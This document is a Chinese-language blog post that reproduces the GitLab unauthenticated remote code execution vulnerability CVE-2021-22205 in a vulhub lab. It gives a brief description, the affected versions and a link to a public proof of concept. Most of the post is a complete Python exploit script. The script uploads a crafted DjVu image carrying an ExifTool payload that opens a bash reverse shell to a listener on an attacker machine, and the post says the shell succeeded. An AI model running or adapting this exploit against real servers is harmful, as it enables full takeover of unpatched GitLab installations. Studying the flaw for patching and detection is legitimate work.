Gitlab未授权RCE(CVE-2021-22205)漏洞

Gitlab未授权RCE(CVE-2021-22205)漏洞

kalilm 679 2022-03-22

kl5orID9uft1iO3.jpg
0#漏洞简介
GitLab 是一个用于仓库管理系统的开源项目,使用 Git 作为代码管理工具,并在此基础上搭建起来的 Web服务。
GitLab是一款Ruby开发的Git项目管理平台。
如11.9以后的GitLab中,因为使用了图片处理工具ExifTool而受到漏洞CVE-2021-22204的影响,攻击者可以通过一个未授权的接口上传一张恶意构造的图片,进而在GitLab服务器上执行恶意代码。

1#影响版本
该漏洞影响以下GitLab企业版和社区版:

11.9 <= Gitlab CE/EE < 13.8.8
13.9 <= Gitlab CE/EE < 13.9.6
13.10 <= Gitlab CE/EE < 13.10.3

2#环境搭建
使用vulhub的docker环境,参考https://www.yuque.com/h3110n3w0r1d/htbocl/pcbcda

3#漏洞复现
漏洞POC:
https://github.com/Al1ex/CVE-2021-22205
漏洞验证:
python CVE-2021-22205.py -v true -t http://Your IP:Port

通过CVE-2021-22205进行反弹shell
利用脚本: #!/usr/bin/env python
# -- coding:utf-8 --
import requests
from bs4 import BeautifulSoup

class Exploit():
    __info__ = {
        'name': 'CVE-2021-22205',
        'desription': 'gitlab 未授权远程命令执行',
        'references': ['https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22205'],
        'devices': ['gitlab',
                    '11.9=< version <13.8.8',
                    '13.9=< version <13.9.6',
                    '13.10=< version <13.10.3'
        ],
    }
 
    target = "192.168.236.130"
    port = 8888
    reverseShell = "echo '/bin/bash -i >& /dev/tcp/{}/{} 0>&1' > /tmp/shell.sh && chmod 777 /tmp/shell.sh && /bin/bash /tmp/shell.sh"
 
    def exploit(self):
        session = requests.Session()
        requests.packages.urllib3.disable_warnings()
        url = "http://{}:{}".format(self.target, self.port)
        try:
            r = session.get(url.strip("/") + "/users/sign_in", verify=False)
            soup = BeautifulSoup(r.text, features="lxml")
            token = soup.findAll('meta')[16].get("content")
            data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{" + self.reverseShell + "} . \\\n\" b \") )                                                                                                                                                                                                                                                                                                                                                                                                                                     \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n"
            headers = {
                "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
                "Connection": "close",
                "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
                "X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"}
            flag = 'Failed to process image'
            req = session.post(url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)
            x = req.text
            if flag in x:
                return "success!!!"
            else:
                print("[-] Vuln Check Failed... ...")
                return 'failed'
        except Exception as error:
            print(error.with_traceback())
            print("[-] Vuln Check Failed... ...")
            return 'failed'
 
    def run(self):
        res = self.exploit()
        return res
 
if __name__ == '__main__':
    exploit = Exploit()
    '''
    在GitLab CE/EE中发现一个问题,从11.9开始影响所有版本。
    GitLab没有正确地验证传递给文件解析器的图像文件,导致远程命令执行
    此脚本利用此漏洞进行反弹shell, 测试前请配置好下面的 listenIp 和 listenPort 参数
    '''
    exploit.target= "192.168.2.83"
    exploit.port = 10000
    listenIp = "192.168.2.97"
    listenPort = "9999"
    exploit.reverseShell = exploit.reverseShell.format(listenIp,listenPort)
    result = exploit.run()
    print(result)

在攻击机器192.168.2.97上监听9999端口
设置漏洞利用脚本的target(192.168.2.83)和port(10000)值

python3运行脚本,成功反弹shell

本文参考链接:

https://www.anquanke.com/post/id/259862
https://www.cnblogs.com/cn-gov/p/15490588.html
https://hackerone.com/reports/1154542
https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html
https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/
https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-22205.yaml
https://github.com/vulhub/vulhub/blob/master/gitlab/CVE-2021-22205/README.zh-cn.md